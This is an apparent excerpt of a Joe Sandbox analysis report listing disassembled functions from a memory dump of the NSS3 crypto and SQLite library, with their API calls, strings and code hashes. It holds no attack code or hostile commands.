Part of subcall function 6CEE10C0: TlsGetValue.KERNEL32(?,6CE88802,00000000,00000008,?,6CE7EF74,00000000), ref: 6CEE119C

PORT_ArenaAlloc_Util.NSS3(00000000,?,?,?,?,6CF0DC29,?), ref: 6CE8BE96

Part of subcall function 6CEE10C0: PL_ArenaAllocate.NSS3(?,6CE88802,00000000,00000008,?,6CE7EF74,00000000), ref: 6CEE116E

SECITEM_CopyItem_Util.NSS3(?,00000000,00000000,?,?,?,?,?,6CF0DC29,?), ref: 6CE8BEBB

Part of subcall function 6CEDFB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6CED8D2D,?,00000000,?), ref: 6CEDFB85
Part of subcall function 6CEDFB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6CEDFBB1

PR_SetError.NSS3(FFFFE013,00000000,?,6CF0DC29,?), ref: 6CE8BEDF
PORT_FreeArena_Util.NSS3(?,00000000,?,?,?,6CF0DC29,?), ref: 6CE8BEF3

Memory Dump Source

Source File: 00000001.00000002.1923926179.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000001.00000002.1923899574.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924170636.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924283439.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924392670.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924426284.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924470792.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ce00000_file.jbxd

Similarity

API ID: ArenaUtil$Alloc_$AllocateArena_Value$CopyCriticalEnterErrorFreeInitItem_LockPoolSectionUnlockcallocmemcpy
String ID:
API String ID: 3111646008-0
Opcode ID: 611ca16d4481621904a0b14d927bf13d40c7ced42e658f035fcec1cf4bf9e4c2
Instruction ID: 2369ac3bafc1dfd97829aff9d7b0b6c27c58459a23482239131f56308507a13b
Opcode Fuzzy Hash: 611ca16d4481621904a0b14d927bf13d40c7ced42e658f035fcec1cf4bf9e4c2
Instruction Fuzzy Hash: D311A571E012095FEB008BA59D41FAE3BB8AB4529CF240028ED0CEB781EB31D909C7B1

Function 6CF13C80 Relevance: 9.1, APIs: 6, Instructions: 68COMMON

Download Yara Rule

APIs

Part of subcall function 6CF15B40: PR_GetIdentitiesLayer.NSS3 ref: 6CF15B56

PR_SetError.NSS3(FFFFE005,00000000), ref: 6CF13D3F

Part of subcall function 6CE8BA90: PORT_NewArena_Util.NSS3(00000800,6CF13CAF,?), ref: 6CE8BABF
Part of subcall function 6CE8BA90: PORT_ArenaAlloc_Util.NSS3(00000000,00000010,?,6CF13CAF,?), ref: 6CE8BAD5
Part of subcall function 6CE8BA90: PORT_ArenaAlloc_Util.NSS3(?,00000001,?,?,?,6CF13CAF,?), ref: 6CE8BB08
Part of subcall function 6CE8BA90: memset.VCRUNTIME140(00000000,00000000,00000001,?,?,?,?,?,6CF13CAF,?), ref: 6CE8BB1A
Part of subcall function 6CE8BA90: SECITEM_CopyItem_Util.NSS3(?,00000000,?,?,?,?,?,?,?,?,?,6CF13CAF,?), ref: 6CE8BB3B

PR_EnterMonitor.NSS3(?), ref: 6CF13CCB

Part of subcall function 6CF49090: TlsGetValue.KERNEL32 ref: 6CF490AB
Part of subcall function 6CF49090: TlsGetValue.KERNEL32 ref: 6CF490C9
Part of subcall function 6CF49090: EnterCriticalSection.KERNEL32 ref: 6CF490E5
Part of subcall function 6CF49090: TlsGetValue.KERNEL32 ref: 6CF49116
Part of subcall function 6CF49090: LeaveCriticalSection.KERNEL32 ref: 6CF4913F

PR_EnterMonitor.NSS3(?), ref: 6CF13CE2
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6CF13CF8
PR_ExitMonitor.NSS3(?), ref: 6CF13D15
PR_ExitMonitor.NSS3(?), ref: 6CF13D2E

Memory Dump Source

Source File: 00000001.00000002.1923926179.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000001.00000002.1923899574.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924170636.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924283439.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924392670.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924426284.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924470792.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ce00000_file.jbxd

Similarity

API ID: Util$Monitor$EnterValue$Alloc_ArenaArena_CriticalExitSection$CopyErrorFreeIdentitiesItem_LayerLeavememset
String ID:
API String ID: 4030862364-0
Opcode ID: e7ad2b172ce1ebdb6267d86afec6fc76fe1798d5b7f323bf4e9ea9a967b6582e
Instruction ID: aa8def691de110833334e7bfd2cec568e86a6a16998112416a9168706311e1e6
Opcode Fuzzy Hash: e7ad2b172ce1ebdb6267d86afec6fc76fe1798d5b7f323bf4e9ea9a967b6582e
Instruction Fuzzy Hash: A61108B5A246046FE7205A69EC4179BB7F9AB11208F504538E41A8BF21E632E91DC652

Function 6CEDFDF0 Relevance: 9.1, APIs: 6, Instructions: 60memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaAlloc_Util.NSS3(?,0000000C,00000000,?,?), ref: 6CEDFE08

Part of subcall function 6CEE10C0: TlsGetValue.KERNEL32(?,6CE88802,00000000,00000008,?,6CE7EF74,00000000), ref: 6CEE10F3
Part of subcall function 6CEE10C0: EnterCriticalSection.KERNEL32(?,?,6CE88802,00000000,00000008,?,6CE7EF74,00000000), ref: 6CEE110C
Part of subcall function 6CEE10C0: PL_ArenaAllocate.NSS3(?,?,?,6CE88802,00000000,00000008,?,6CE7EF74,00000000), ref: 6CEE1141
Part of subcall function 6CEE10C0: PR_Unlock.NSS3(?,?,?,6CE88802,00000000,00000008,?,6CE7EF74,00000000), ref: 6CEE1182
Part of subcall function 6CEE10C0: TlsGetValue.KERNEL32(?,6CE88802,00000000,00000008,?,6CE7EF74,00000000), ref: 6CEE119C

PORT_ArenaAlloc_Util.NSS3(?,?,?,?,?,?), ref: 6CEDFE1D

Part of subcall function 6CEE10C0: PL_ArenaAllocate.NSS3(?,6CE88802,00000000,00000008,?,6CE7EF74,00000000), ref: 6CEE116E

PORT_Alloc_Util.NSS3(0000000C,00000000,?,?), ref: 6CEDFE29
PORT_Alloc_Util.NSS3(?,?,?,?), ref: 6CEDFE3D
memcpy.VCRUNTIME140(00000000,?,?,?,?,?,?), ref: 6CEDFE62
free.MOZGLUE(00000000,?,?,?,?), ref: 6CEDFE6F

Memory Dump Source

Source File: 00000001.00000002.1923926179.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000001.00000002.1923899574.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924170636.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924283439.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924392670.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924426284.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924470792.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ce00000_file.jbxd

Similarity

API ID: Alloc_ArenaUtil$AllocateValue$CriticalEnterSectionUnlockfreememcpy
String ID:
API String ID: 660648399-0
Opcode ID: 00e5d093439fcb8ed207153f7f5e0b87df7bd611f56a0ecb75151893e15dad95
Instruction ID: 1949ef0f3077d719bd874531883ff2e7e1c0ac9b1d5ad2529440eaf74d2f9ac8
Opcode Fuzzy Hash: 00e5d093439fcb8ed207153f7f5e0b87df7bd611f56a0ecb75151893e15dad95
Instruction Fuzzy Hash: E911E9B6A002066BEB00CB95DC40A5B73B8AF592ADF358038ED1887B12E735F915C791

Function 6CF8FD90 Relevance: 9.1, APIs: 6, Instructions: 51COMMON

Download Yara Rule

APIs

PR_Lock.NSS3 ref: 6CF8FD9E

Part of subcall function 6CF49BA0: TlsGetValue.KERNEL32(00000000,00000000,?,6CE71A48), ref: 6CF49BB3
Part of subcall function 6CF49BA0: EnterCriticalSection.KERNEL32(?,?,?,?,6CE71A48), ref: 6CF49BC8

PR_WaitCondVar.NSS3(000000FF), ref: 6CF8FDB9

Part of subcall function 6CE6A900: TlsGetValue.KERNEL32(00000000,?,6CFE14E4,?,6CE04DD9), ref: 6CE6A90F
Part of subcall function 6CE6A900: _PR_MD_WAIT_CV.NSS3(?,?,?), ref: 6CE6A94F

PR_Unlock.NSS3 ref: 6CF8FDD4
PR_Lock.NSS3 ref: 6CF8FDF2
PR_NotifyAllCondVar.NSS3 ref: 6CF8FE0D
PR_Unlock.NSS3 ref: 6CF8FE23

Memory Dump Source

Source File: 00000001.00000002.1923926179.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000001.00000002.1923899574.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924170636.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924283439.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924392670.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924426284.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924470792.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ce00000_file.jbxd

Similarity

API ID: CondLockUnlockValue$CriticalEnterNotifySectionWait
String ID:
API String ID: 3365241057-0
Opcode ID: 4c3da05d0fd8b912b24cfe0048afdf91ef7b6b9ffe809e624803ecad6e4874af
Instruction ID: b9e11e0ad560fa881139196c09ff72107b7e6e5a2c00ed4082b1a7e10b879db5
Opcode Fuzzy Hash: 4c3da05d0fd8b912b24cfe0048afdf91ef7b6b9ffe809e624803ecad6e4874af
Instruction Fuzzy Hash: 63018EB6E10600AFDF854F16FC009467A31AB062687648378E82647BA2E722D928C782

Function 6CE6AE30 Relevance: 9.0, APIs: 1, Strings: 4, Instructions: 231COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,00029CDD,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CE6AFDA

Strings

unable to delete/modify collation sequence due to active statements, xrefs: 6CE6AF5C
%s at line %d of [%.10s], xrefs: 6CE6AFD3
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CE6AFC4
misuse, xrefs: 6CE6AFCE

Memory Dump Source

Source File: 00000001.00000002.1923926179.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000001.00000002.1923899574.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924170636.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924283439.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924392670.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924426284.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924470792.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ce00000_file.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$misuse$unable to delete/modify collation sequence due to active statements
API String ID: 632333372-924978290
Opcode ID: 66c1b3d20208bb3bf793e41d7ae11dfb4170382e0d856fa7a4c7b6829b890f05
Instruction ID: f06b658b1ffa5ad60199a10c35289f8b8afbb95c247f182f788480efd6ca79e6
Opcode Fuzzy Hash: 66c1b3d20208bb3bf793e41d7ae11dfb4170382e0d856fa7a4c7b6829b890f05
Instruction Fuzzy Hash: 4691E675F912258FDB04CF5AC850BAABBF1BF45318F2945A8E865ABB51C330ED01CB61

Function 6CECFC30 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 156stringCOMMON

Download Yara Rule

APIs

PL_strncasecmp.NSS3(?,pkcs11:,00000007), ref: 6CECFC55
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6CECFCB2
PR_SetError.NSS3(FFFFE040,00000000), ref: 6CECFDB7
PR_SetError.NSS3(FFFFE09A,00000000), ref: 6CECFDDE

Part of subcall function 6CED8800: TlsGetValue.KERNEL32(?,6CEE085A,00000000,?,6CE88369,?), ref: 6CED8821
Part of subcall function 6CED8800: TlsGetValue.KERNEL32(?,?,6CEE085A,00000000,?,6CE88369,?), ref: 6CED883D
Part of subcall function 6CED8800: EnterCriticalSection.KERNEL32(?,?,?,6CEE085A,00000000,?,6CE88369,?), ref: 6CED8856
Part of subcall function 6CED8800: PR_WaitCondVar.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,00000013,?), ref: 6CED8887
Part of subcall function 6CED8800: PR_Unlock.NSS3(?,?,?,?,6CEE085A,00000000,?,6CE88369,?), ref: 6CED8899

Strings

pkcs11:, xrefs: 6CECFC4F

Memory Dump Source

Source File: 00000001.00000002.1923926179.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000001.00000002.1923899574.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924170636.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924283439.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924392670.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924426284.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924470792.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ce00000_file.jbxd

Similarity

API ID: ErrorValue$CondCriticalEnterL_strncasecmpSectionUnlockWaitstrcmp
String ID: pkcs11:
API String ID: 362709927-2446828420
Opcode ID: 69d0ddeda3754695c7b634b073b2298e845cfceffca4aa079209ca1625004695
Instruction ID: 2f2423b5873660bfc43cc5021ff3ebdfa0f308832eb60ca312988393d64d54b2
Opcode Fuzzy Hash: 69d0ddeda3754695c7b634b073b2298e845cfceffca4aa079209ca1625004695
Instruction Fuzzy Hash: 335106B5B002129BEB108F64DE40F9A3B75AF4535CF350129DD246BB42EB39E906CB93

Function 6CE0BDA0 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 94COMMON

Download Yara Rule

APIs

memcmp.VCRUNTIME140(00000000,?,?), ref: 6CE0BE02

Part of subcall function 6CF39C40: memcmp.VCRUNTIME140(?,00000000,6CE0C52B), ref: 6CF39D53

sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00014A8E,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CE0BE9F

Strings

%s at line %d of [%.10s], xrefs: 6CE0BE98
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CE0BE89
database corruption, xrefs: 6CE0BE93

Memory Dump Source

Source File: 00000001.00000002.1923926179.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000001.00000002.1923899574.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924170636.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924283439.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924392670.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924426284.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924470792.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ce00000_file.jbxd

Similarity

API ID: memcmp$sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 1135338897-598938438
Opcode ID: 63f93c2c46c160ccc0f91657758bb3b7a480e62ea45875a016a838c2cb84b509
Instruction ID: 0be7515cae0cd81063c75ed220fd5982e8a890814a1a920b1b1e73b7101a75eb
Opcode Fuzzy Hash: 63f93c2c46c160ccc0f91657758bb3b7a480e62ea45875a016a838c2cb84b509
Instruction Fuzzy Hash: 61312531F4425E8BC700CF698894AABBBB1BF42318B288554EE585BB42D771ED26C7D0

Function 6CE81EC0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 74timeCOMMON

Download Yara Rule

APIs

DER_DecodeTimeChoice_Util.NSS3(?,?,?,?,?,?,00000000,00000000,?,6CE84C64,?,-00000004), ref: 6CE81EE2

Part of subcall function 6CEE1820: DER_GeneralizedTimeToTime_Util.NSS3(?,?,?,6CE81D97,?,?), ref: 6CEE1836

DER_DecodeTimeChoice_Util.NSS3(?,?,?,?,?,?,?,?,00000000,00000000,?,6CE84C64,?,-00000004), ref: 6CE81F13
DER_DecodeTimeChoice_Util.NSS3(?,?,?,?,?,?,?,?,00000000,00000000,?,6CE84C64,?,-00000004), ref: 6CE81F37
DER_DecodeTimeChoice_Util.NSS3(?,dLl,?,?,?,?,?,?,?,?,00000000,00000000,?,6CE84C64,?,-00000004), ref: 6CE81F53

Strings

dLl, xrefs: 6CE81F2B, 6CE81F51

Memory Dump Source

Source File: 00000001.00000002.1923926179.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000001.00000002.1923899574.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924170636.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924283439.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924392670.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924426284.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924470792.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ce00000_file.jbxd

Similarity

API ID: TimeUtil$Choice_Decode$GeneralizedTime_
String ID: dLl
API String ID: 3216063065-3939847266
Opcode ID: 337a68ac186e7646a364c61a372aed086b958dd2f9bd5d35fa8548b770712f3c
Instruction ID: 21a6173a69176a7faf12d1ff0f2b87473fd4b34680c58912e1e5b45644d0aff5
Opcode Fuzzy Hash: 337a68ac186e7646a364c61a372aed086b958dd2f9bd5d35fa8548b770712f3c
Instruction Fuzzy Hash: A4218371515205AFC700CFA9DD01A9BB7F9AF89699F10092DE858C3B41F330E559C7A2

Function 6CE70DC0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 51stringCOMMON

Download Yara Rule

APIs

strrchr.VCRUNTIME140(00000000,0000005C,00000000,00000000,00000000,?,6CE70BDE), ref: 6CE70DCB
strrchr.VCRUNTIME140(00000000,0000005C,?,6CE70BDE), ref: 6CE70DEA
_stricmp.API-MS-WIN-CRT-STRING-L1-1-0(00000001,00000001,?,?,?,6CE70BDE), ref: 6CE70DFC
PR_LogPrint.NSS3(%s incr => %d (find lib),?,?,?,?,?,?,?,6CE70BDE), ref: 6CE70E32

Strings

%s incr => %d (find lib), xrefs: 6CE70E2D

Memory Dump Source

Source File: 00000001.00000002.1923926179.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000001.00000002.1923899574.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924170636.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924283439.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924392670.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924426284.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924470792.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ce00000_file.jbxd

Similarity

API ID: strrchr$Print_stricmp
String ID: %s incr => %d (find lib)
API String ID: 97259331-2309350800
Opcode ID: 1a221e8982e2085fa7d477b7ae54c363f51facd6c70a9e7889504c99bae46363
Instruction ID: e419d5e338b6cb65c9ac866a997f82f4fc3e5be5c76630f2b8c44331f6cd3f17
Opcode Fuzzy Hash: 1a221e8982e2085fa7d477b7ae54c363f51facd6c70a9e7889504c99bae46363
Instruction Fuzzy Hash: 6F01D472B00214AFEB209F259C45E1773BCDF45A09B25486DE909D3B41E762FC18C6E2

Function 6CE19C60 Relevance: 7.8, APIs: 6, Instructions: 262COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6CE19CF2
LeaveCriticalSection.KERNEL32(?), ref: 6CE19D45
EnterCriticalSection.KERNEL32(?), ref: 6CE19D8B
LeaveCriticalSection.KERNEL32(?), ref: 6CE19DDE

Memory Dump Source

Source File: 00000001.00000002.1923926179.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000001.00000002.1923899574.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924170636.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924283439.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924392670.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924426284.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924470792.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ce00000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave
String ID:
API String ID: 3168844106-0
Opcode ID: 6a9da0fd6c12c54aeae0a86339f0bf503631711472d6e5b81207fa33fce39e23
Instruction ID: 49de65209939423682e8dca397e780239c677bd2398a8b6ae03b05337bc3d87f
Opcode Fuzzy Hash: 6a9da0fd6c12c54aeae0a86339f0bf503631711472d6e5b81207fa33fce39e23
Instruction Fuzzy Hash: 64A19031F181009BEB88AF65D88977E7776AB4B319F28012DD50647F40DB39E956CB82

Function 6CEA1E70 Relevance: 7.7, APIs: 5, Instructions: 207COMMON

Download Yara Rule

APIs

PR_EnterMonitor.NSS3(?), ref: 6CEA1ECC

Part of subcall function 6CF49090: TlsGetValue.KERNEL32 ref: 6CF490AB
Part of subcall function 6CF49090: TlsGetValue.KERNEL32 ref: 6CF490C9
Part of subcall function 6CF49090: EnterCriticalSection.KERNEL32 ref: 6CF490E5
Part of subcall function 6CF49090: TlsGetValue.KERNEL32 ref: 6CF49116
Part of subcall function 6CF49090: LeaveCriticalSection.KERNEL32 ref: 6CF4913F

TlsGetValue.KERNEL32 ref: 6CEA1EDF
EnterCriticalSection.KERNEL32(?), ref: 6CEA1EEF
PR_ExitMonitor.NSS3(?), ref: 6CEA1F37
PR_Unlock.NSS3(?), ref: 6CEA1F44

Memory Dump Source

Source File: 00000001.00000002.1923926179.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000001.00000002.1923899574.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924170636.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924283439.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924392670.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924426284.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924470792.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ce00000_file.jbxd

Similarity

API ID: Value$CriticalEnterSection$Monitor$ExitLeaveUnlock
String ID:
API String ID: 3539092540-0
Opcode ID: 443ec8daa5815d89df3924ed2902cf9d37f491c7cbbf3a1088eeac6ff798030a
Instruction ID: f6e07dae984f278dffd3967161201309d9f437269dc390d1b11da6383791885b
Opcode Fuzzy Hash: 443ec8daa5815d89df3924ed2902cf9d37f491c7cbbf3a1088eeac6ff798030a
Instruction Fuzzy Hash: EC71CF76904301DFD700CFA5D841A4ABBF1BF88358F24492DE89997B21E731F95ACB92

Function 6CF2DD70 Relevance: 7.7, APIs: 5, Instructions: 179COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6CF2DD8C
LeaveCriticalSection.KERNEL32(00000000), ref: 6CF2DDB4
LeaveCriticalSection.KERNEL32(00000000), ref: 6CF2DE1B
ReleaseSemaphore.KERNEL32(?,00000001,00000000), ref: 6CF2DE77

Memory Dump Source

Source File: 00000001.00000002.1923926179.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000001.00000002.1923899574.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924170636.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924283439.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924392670.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924426284.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924470792.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ce00000_file.jbxd

Similarity

API ID: CriticalLeaveSection$ReleaseSemaphoreValue
String ID:
API String ID: 2700453212-0
Opcode ID: d9dd5c9355a9554cd02c1f0b11c5284432e6811e41855393e1a6bee44ebc1e02
Instruction ID: 5bf28abc92bbd3789610dc16ceab123996b61a622d4ed43ea9905363eeedd485
Opcode Fuzzy Hash: d9dd5c9355a9554cd02c1f0b11c5284432e6811e41855393e1a6bee44ebc1e02
Instruction Fuzzy Hash: 2E717571A00718CFDB20CFAAC58078AB7B4FF89718F25816DD959AB712D774A941CF90

Function 6CE9DFA0 Relevance: 7.6, APIs: 5, Instructions: 143COMMON

Download Yara Rule

APIs

Part of subcall function 6CE9AB10: DeleteCriticalSection.KERNEL32(D958E852,6CEA1397,5B5F5EC0,?,?,6CE9B1EE,2404110F,?,?), ref: 6CE9AB3C
Part of subcall function 6CE9AB10: free.MOZGLUE(D958E836,?,6CE9B1EE,2404110F,?,?), ref: 6CE9AB49
Part of subcall function 6CE9AB10: DeleteCriticalSection.KERNEL32(5D5E6D09), ref: 6CE9AB5C
Part of subcall function 6CE9AB10: free.MOZGLUE(5D5E6CFD), ref: 6CE9AB63
Part of subcall function 6CE9AB10: DeleteCriticalSection.KERNEL32(0148B821,?,2404110F,?,?), ref: 6CE9AB6F
Part of subcall function 6CE9AB10: free.MOZGLUE(0148B805,?,2404110F,?,?), ref: 6CE9AB76

TlsGetValue.KERNEL32(?,?,6CE9B266,6CEA15C6,?,?,6CEA15C6), ref: 6CE9DFDA
EnterCriticalSection.KERNEL32(?,?,?,6CE9B266,6CEA15C6,?,?,6CEA15C6), ref: 6CE9DFF3
PK11_IsFriendly.NSS3(?,?,?,?,6CE9B266,6CEA15C6,?,?,6CEA15C6), ref: 6CE9E029
PK11_IsLoggedIn.NSS3 ref: 6CE9E046

Part of subcall function 6CEA8F70: PK11_GetInternalKeySlot.NSS3(?,?,00000002,?,?,?,6CE9DA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6CEA8FAF
Part of subcall function 6CEA8F70: PR_Now.NSS3(?,?,00000002,?,?,?,6CE9DA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6CEA8FD1
Part of subcall function 6CEA8F70: TlsGetValue.KERNEL32(?,?,00000002,?,?,?,6CE9DA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6CEA8FFA
